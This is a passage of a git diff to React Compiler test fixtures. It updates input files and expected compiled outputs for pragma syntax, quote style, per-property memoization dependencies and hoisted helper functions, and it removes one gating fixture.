+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-gating-test.expect.md
deleted file mode 100644
index 0ed486ee8fdf..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-gating-test.expect.md
+++ /dev/null
@@ -1,75 +0,0 @@
-
-## Input
-
-```javascript
-// @instrumentForget @compilationMode(annotation) @gating
-
-function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
-
-```
-
-## Code
-
-```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { useRenderCounter, shouldInstrument } from "react-compiler-runtime";
-import { c as _c } from "react/compiler-runtime"; // @instrumentForget @compilationMode(annotation) @gating
-const Bar = isForgetEnabled_Fixtures()
-  ? function Bar(props) {
-      "use forget";
-      if (__DEV__ && shouldInstrument)
-        useRenderCounter("Bar", "/codegen-instrument-forget-gating-test.ts");
-      const $ = _c(2);
-      let t0;
-      if ($[0] !== props.bar) {
-        t0 = <div>{props.bar}</div>;
-        $[0] = props.bar;
-        $[1] = t0;
-      } else {
-        t0 = $[1];
-      }
-      return t0;
-    }
-  : function Bar(props) {
-      "use forget";
-      return <div>{props.bar}</div>;
-    };
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-const Foo = isForgetEnabled_Fixtures()
-  ? function Foo(props) {
-      "use forget";
-      if (__DEV__ && shouldInstrument)
-        useRenderCounter("Foo", "/codegen-instrument-forget-gating-test.ts");
-      const $ = _c(2);
-      let t0;
-      if ($[0] !== props.bar) {
-        t0 = <Foo>{props.bar}</Foo>;
-        $[0] = props.bar;
-        $[1] = t0;
-      } else {
-        t0 = $[1];
-      }
-      return t0;
-    }
-  : function Foo(props) {
-      "use forget";
-      return <Foo>{props.bar}</Foo>;
-    };
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-gating-test.js
deleted file mode 100644
index c4d4fba3d122..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-gating-test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-// @instrumentForget @compilationMode(annotation) @gating
-
-function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-test.expect.md
index 20c75258c4f8..edabebecfc4a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-test.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// @instrumentForget @compilationMode(annotation)
+// @enableEmitInstrumentForget @compilationMode:"annotation"
 
 function Bar(props) {
-  "use forget";
+  'use forget';
   return <div>{props.bar}</div>;
 }
 
@@ -14,7 +14,7 @@ function NoForget(props) {
 }
 
 function Foo(props) {
-  "use forget";
+  'use forget';
   return <Foo>{props.bar}</Foo>;
 }
 
@@ -23,12 +23,12 @@ function Foo(props) {
 ## Code
 
 ```javascript
-import { useRenderCounter, shouldInstrument } from "react-compiler-runtime";
-import { c as _c } from "react/compiler-runtime"; // @instrumentForget @compilationMode(annotation)
+import { shouldInstrument, useRenderCounter } from "react-compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enableEmitInstrumentForget @compilationMode:"annotation"
 
 function Bar(props) {
   "use forget";
-  if (__DEV__ && shouldInstrument)
+  if (DEV && shouldInstrument)
     useRenderCounter("Bar", "/codegen-instrument-forget-test.ts");
   const $ = _c(2);
   let t0;
@@ -48,7 +48,7 @@ function NoForget(props) {
 
 function Foo(props) {
   "use forget";
-  if (__DEV__ && shouldInstrument)
+  if (DEV && shouldInstrument)
     useRenderCounter("Foo", "/codegen-instrument-forget-test.ts");
   const $ = _c(2);
   let t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-test.js
index 5fa334ad7830..cc5e47105482 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-instrument-forget-test.js
@@ -1,7 +1,7 @@
-// @instrumentForget @compilationMode(annotation)
+// @enableEmitInstrumentForget @compilationMode:"annotation"
 
 function Bar(props) {
-  "use forget";
+  'use forget';
   return <div>{props.bar}</div>;
 }
 
@@ -10,6 +10,6 @@ function NoForget(props) {
 }
 
 function Foo(props) {
-  "use forget";
+  'use forget';
   return <Foo>{props.bar}</Foo>;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/complex-while.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/complex-while.expect.md
index 8cdfc3d27523..22d4634541d2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/complex-while.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/complex-while.expect.md
@@ -15,8 +15,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -32,6 +32,7 @@ function foo(a, b, c) {
       }
     }
   }
+
   return c;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/complex-while.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/complex-while.js
index 8a2c1f30a657..c9194a39b4a1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/complex-while.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/complex-while.js
@@ -11,6 +11,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-declaration-basic.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-declaration-basic.flow.expect.md
index cc9085773ba7..15cba5b29a7c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-declaration-basic.flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-declaration-basic.flow.expect.md
@@ -2,12 +2,22 @@
 ## Input
 
 ```javascript
-// @flow @compilationMode(infer) 
+// @flow @compilationMode:"infer"
 export default component Foo(bar: number) {
   return <Bar bar={bar} />;
 }
 
+component Bar(bar: number) {
+  return <div>{bar}</div>;
+}
+
 function shouldNotCompile() {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{bar: 42}],
+};
+
 ```
 
 ## Code
@@ -28,7 +38,28 @@ export default function Foo(t0) {
   return t1;
 }
 
+function Bar(t0) {
+  const $ = _c(2);
+  const { bar } = t0;
+  let t1;
+  if ($[0] !== bar) {
+    t1 = <div>{bar}</div>;
+    $[0] = bar;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
 function shouldNotCompile() {}
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ bar: 42 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) <div>42</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-declaration-basic.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-declaration-basic.flow.js
index 42286ad5795f..04d419c7ce0b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-declaration-basic.flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-declaration-basic.flow.js
@@ -1,6 +1,15 @@
-// @flow @compilationMode(infer) 
+// @flow @compilationMode:"infer"
 export default component Foo(bar: number) {
   return <Bar bar={bar} />;
 }
 
-function shouldNotCompile() {}
\ No newline at end of file
+component Bar(bar: number) {
+  return <div>{bar}</div>;
+}
+
+function shouldNotCompile() {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{bar: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-inner-function-with-many-args.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-inner-function-with-many-args.expect.md
index bfc1d31ffdba..fe3d17d120e0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-inner-function-with-many-args.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-inner-function-with-many-args.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 function Component(props) {
   const cb = (x, y, z) => x + y + z;
 
@@ -11,7 +11,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ id: 0 }],
+  params: [{id: 0}],
 };
 
 ```
@@ -22,24 +22,20 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 import { Stringify } from "shared-runtime";
 function Component(props) {
-  const $ = _c(3);
+  const $ = _c(2);
+  const cb = _temp;
   let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = (x, y, z) => x + y + z;
-    $[0] = t0;
+  if ($[0] !== props.id) {
+    t0 = <Stringify cb={cb} id={props.id} />;
+    $[0] = props.id;
+    $[1] = t0;
   } else {
-    t0 = $[0];
+    t0 = $[1];
   }
-  const cb = t0;
-  let t1;
-  if ($[1] !== props.id) {
-    t1 = <Stringify cb={cb} id={props.id} />;
-    $[1] = props.id;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  return t1;
+  return t0;
+}
+function _temp(x, y, z) {
+  return x + y + z;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-inner-function-with-many-args.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-inner-function-with-many-args.tsx
index 92525fd6a636..a65614f09a48 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-inner-function-with-many-args.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component-inner-function-with-many-args.tsx
@@ -1,4 +1,4 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 function Component(props) {
   const cb = (x, y, z) => x + y + z;
 
@@ -7,5 +7,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ id: 0 }],
+  params: [{id: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component.expect.md
index cd775f78aca2..c6037fd2bb39 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component.expect.md
@@ -31,8 +31,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -46,7 +46,7 @@ function Component(props) {
   const items = props.items;
   const maxItems = props.maxItems;
   let renderedItems;
-  if ($[0] !== maxItems || $[1] !== items) {
+  if ($[0] !== items || $[1] !== maxItems) {
     renderedItems = [];
     const seen = new Set();
     const max = Math.max(0, maxItems);
@@ -62,8 +62,8 @@ function Component(props) {
         break;
       }
     }
-    $[0] = maxItems;
-    $[1] = items;
+    $[0] = items;
+    $[1] = maxItems;
     $[2] = renderedItems;
   } else {
     renderedItems = $[2];
@@ -79,15 +79,15 @@ function Component(props) {
     t0 = $[4];
   }
   let t1;
-  if ($[5] !== t0 || $[6] !== renderedItems) {
+  if ($[5] !== renderedItems || $[6] !== t0) {
     t1 = (
       <div>
         {t0}
         {renderedItems}
       </div>
     );
-    $[5] = t0;
-    $[6] = renderedItems;
+    $[5] = renderedItems;
+    $[6] = t0;
     $[7] = t1;
   } else {
     t1 = $[7];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component.js
index 32cb65679bca..c460b9e3d35b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/component.js
@@ -27,6 +27,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-evaluation-order.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-evaluation-order.expect.md
index 76bdcf1efe4a..5ecf59e7a229 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-evaluation-order.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-evaluation-order.expect.md
@@ -4,15 +4,15 @@
 ```javascript
 // Should print A, B, arg, original
 function Component() {
-  const changeF = (o) => {
-    o.f = () => console.log("new");
+  const changeF = o => {
+    o.f = () => console.log('new');
   };
   const x = {
-    f: () => console.log("original"),
+    f: () => console.log('original'),
   };
 
-  (console.log("A"), x)[(console.log("B"), "f")](
-    (changeF(x), console.log("arg"), 1)
+  (console.log('A'), x)[(console.log('B'), 'f')](
+    (changeF(x), console.log('arg'), 1)
   );
   return x;
 }
@@ -30,30 +30,30 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime"; // Should print A, B, arg, original
 function Component() {
-  const $ = _c(2);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = (o) => {
-      o.f = () => console.log("new");
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const changeF = t0;
+  const $ = _c(1);
+  const changeF = _temp2;
   let x;
-  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    x = { f: () => console.log("original") };
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    x = { f: _temp3 };
 
     (console.log("A"), x)[(console.log("B"), "f")](
       (changeF(x), console.log("arg"), 1),
     );
-    $[1] = x;
+    $[0] = x;
   } else {
-    x = $[1];
+    x = $[0];
   }
   return x;
 }
+function _temp3() {
+  return console.log("original");
+}
+function _temp2(o) {
+  o.f = _temp;
+}
+function _temp() {
+  return console.log("new");
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-evaluation-order.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-evaluation-order.js
index 8e870e1cf015..ec08d4d3eaf6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-evaluation-order.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-evaluation-order.js
@@ -1,14 +1,14 @@
 // Should print A, B, arg, original
 function Component() {
-  const changeF = (o) => {
-    o.f = () => console.log("new");
+  const changeF = o => {
+    o.f = () => console.log('new');
   };
   const x = {
-    f: () => console.log("original"),
+    f: () => console.log('original'),
   };
 
-  (console.log("A"), x)[(console.log("B"), "f")](
-    (changeF(x), console.log("arg"), 1)
+  (console.log('A'), x)[(console.log('B'), 'f')](
+    (changeF(x), console.log('arg'), 1)
   );
   return x;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-spread.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-spread.expect.md
index cb20d97cb7c4..0329450b13e3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-spread.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-call-spread.expect.md
@@ -16,11 +16,11 @@ import { c as _c } from "react/compiler-runtime";
 function Component(props) {
   const $ = _c(4);
   let t0;
-  if ($[0] !== props.method || $[1] !== props.a || $[2] !== props.b) {
+  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.method) {
     t0 = foo[props.method](...props.a, null, ...props.b);
-    $[0] = props.method;
-    $[1] = props.a;
-    $[2] = props.b;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.method;
     $[3] = t0;
   } else {
     t0 = $[3];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-load-primitive-as-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-load-primitive-as-dependency.expect.md
index 6adc3056080e..9f147194da1c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-load-primitive-as-dependency.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-load-primitive-as-dependency.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
 function Component(props) {
   let a = foo();
   // freeze `a` so we know the next line cannot mutate it
@@ -17,7 +18,7 @@ function Component(props) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false
 function Component(props) {
   const $ = _c(2);
   const a = foo();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-load-primitive-as-dependency.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-load-primitive-as-dependency.js
index e6d2c795c378..29d6797fdd40 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-load-primitive-as-dependency.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-load-primitive-as-dependency.js
@@ -1,3 +1,4 @@
+// @enablePreserveExistingMemoizationGuarantees:false
 function Component(props) {
   let a = foo();
   // freeze `a` so we know the next line cannot mutate it
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-store-alias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-store-alias.expect.md
index f08c01f728ac..9af46bbfd988 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-store-alias.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-store-alias.expect.md
@@ -2,22 +2,35 @@
 ## Input
 
 ```javascript
-function component(a, b) {
-  let y = { a };
-  let x = { b };
-  x["y"] = y;
+import {mutate} from 'shared-runtime';
+function useHook({a, b}) {
+  let y = {a};
+  let x = {b};
+  x['y'] = y;
   mutate(x);
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{a: 2, b: 3}],
+  sequentialRenders: [
+    {a: 2, b: 3},
+    {a: 2, b: 3},
+    {a: 3, b: 3},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a, b) {
+import { mutate } from "shared-runtime";
+function useHook(t0) {
   const $ = _c(3);
+  const { a, b } = t0;
   let x;
   if ($[0] !== a || $[1] !== b) {
     const y = { a };
@@ -33,5 +46,19 @@ function component(a, b) {
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{ a: 2, b: 3 }],
+  sequentialRenders: [
+    { a: 2, b: 3 },
+    { a: 2, b: 3 },
+    { a: 3, b: 3 },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"b":3,"y":{"a":2},"wat0":"joe"}
+{"b":3,"y":{"a":2},"wat0":"joe"}
+{"b":3,"y":{"a":3},"wat0":"joe"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-store-alias.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-store-alias.js
index 66dc3e4943f2..85d0c398bcff 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-store-alias.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/computed-store-alias.js
@@ -1,7 +1,18 @@
-function component(a, b) {
-  let y = { a };
-  let x = { b };
-  x["y"] = y;
+import {mutate} from 'shared-runtime';
+function useHook({a, b}) {
+  let y = {a};
+  let x = {b};
+  x['y'] = y;
   mutate(x);
   return x;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{a: 2, b: 3}],
+  sequentialRenders: [
+    {a: 2, b: 3},
+    {a: 2, b: 3},
+    {a: 3, b: 3},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/concise-arrow-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/concise-arrow-expr.expect.md
index 5b88a4064492..996afa1cb224 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/concise-arrow-expr.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/concise-arrow-expr.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function component() {
   let [x, setX] = useState(0);
-  const handler = (v) => setX(v);
+  const handler = v => setX(v);
   return <Foo handler={handler}></Foo>;
 }
 
@@ -16,7 +16,7 @@ function component() {
 import { c as _c } from "react/compiler-runtime";
 function component() {
   const $ = _c(1);
-  const [x, setX] = useState(0);
+  const [, setX] = useState(0);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const handler = (v) => setX(v);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/concise-arrow-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/concise-arrow-expr.js
index d04270e3ac4e..e54eedaadc8d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/concise-arrow-expr.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/concise-arrow-expr.js
@@ -1,5 +1,5 @@
 function component() {
   let [x, setX] = useState(0);
-  const handler = (v) => setX(v);
+  const handler = v => setX(v);
   return <Foo handler={handler}></Foo>;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-break-labeled.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-break-labeled.expect.md
index 2c6b373f0c45..3f795b604e38 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-break-labeled.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-break-labeled.expect.md
@@ -20,8 +20,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -33,9 +33,14 @@ import { c as _c } from "react/compiler-runtime"; /**
  * props.b *does* influence `a`
  */
 function Component(props) {
-  const $ = _c(2);
+  const $ = _c(5);
   let a;
-  if ($[0] !== props) {
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.c ||
+    $[3] !== props.d
+  ) {
     a = [];
     a.push(props.a);
     bb0: {
@@ -47,10 +52,13 @@ function Component(props) {
     }
 
     a.push(props.d);
-    $[0] = props;
-    $[1] = a;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.c;
+    $[3] = props.d;
+    $[4] = a;
   } else {
-    a = $[1];
+    a = $[4];
   }
   return a;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-break-labeled.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-break-labeled.js
index 60eec906dde1..ccf983189cf7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-break-labeled.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-break-labeled.js
@@ -16,6 +16,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-early-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-early-return.expect.md
index 04012db57330..5e708b95c6fe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-early-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/conditional-early-return.expect.md
@@ -58,7 +58,7 @@ function ComponentD(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: ComponentA,
-  params: [{ a: 1, b: false, d: 3 }],
+  params: [{a: 1, b: false, d: 3}],
 };
 
 ```
@@ -70,10 +70,10 @@ import { c as _c } from "react/compiler-runtime"; /**
  * props.b does *not* influence `a`
  */
 function ComponentA(props) {
-  const $ = _c(3);
+  const $ = _c(5);
   let a_DEBUG;
   let t0;
-  if ($[0] !== props) {
+  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.d) {
     t0 = Symbol.for("react.early_return_sentinel");
     bb0: {
       a_DEBUG = [];
@@ -85,12 +85,14 @@ function ComponentA(props) {
 
       a_DEBUG.push(props.d);
     }
-    $[0] = props;
-    $[1] = a_DEBUG;
-    $[2] = t0;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.d;
+    $[3] = a_DEBUG;
+    $[4] = t0;
   } else {
-    a_DEBUG = $[1];
-    t0 = $[2];
+    a_DEBUG = $[3];
+    t0 = $[4];
   }
   if (t0 !== Symbol.for("react.early_return_sentinel")) {
     return t0;
@@ -102,9 +104,14 @@ function ComponentA(props) {
  * props.b *does* influence `a`
  */
 function ComponentB(props) {
-  const $ = _c(2);
+  const $ = _c(5);
   let a;
-  if ($[0] !== props) {
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.c ||
+    $[3] !== props.d
+  ) {
     a = [];
     a.push(props.a);
     if (props.b) {
@@ -112,10 +119,13 @@ function ComponentB(props) {
     }
 
     a.push(props.d);
-    $[0] = props;
-    $[1] = a;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.c;
+    $[3] = props.d;
+    $[4] = a;
   } else {
-    a = $[1];
+    a = $[4];
   }
   return a;
 }
@@ -124,10 +134,15 @@ function ComponentB(props) {
  * props.b *does* influence `a`, but only in a way that is never observable
  */
 function ComponentC(props) {
-  const $ = _c(3);
+  const $ = _c(6);
   let a;
   let t0;
-  if ($[0] !== props) {
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.c ||
+    $[3] !== props.d
+  ) {
     t0 = Symbol.for("react.early_return_sentinel");
     bb0: {
       a = [];
@@ -140,12 +155,15 @@ function ComponentC(props) {
 
       a.push(props.d);
     }
-    $[0] = props;
-    $[1] = a;
-    $[2] = t0;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.c;
+    $[3] = props.d;
+    $[4] = a;
+    $[5] = t0;
   } else {
-    a = $[1];
-    t0 = $[2];
+    a = $[4];
+    t0 = $[5];
   }
   if (t0 !== Symbol.for("react.early_return_sentinel")) {
     return t0;
@@ -157,10 +175,15 @@ function ComponentC(props) {
  * props.b *does* influence `a`
  */
 function ComponentD(props) {
-  const $ = _c(3);
+  const $ = _c(6);
   let a;
   let t0;
-  if ($[0] !== props) {
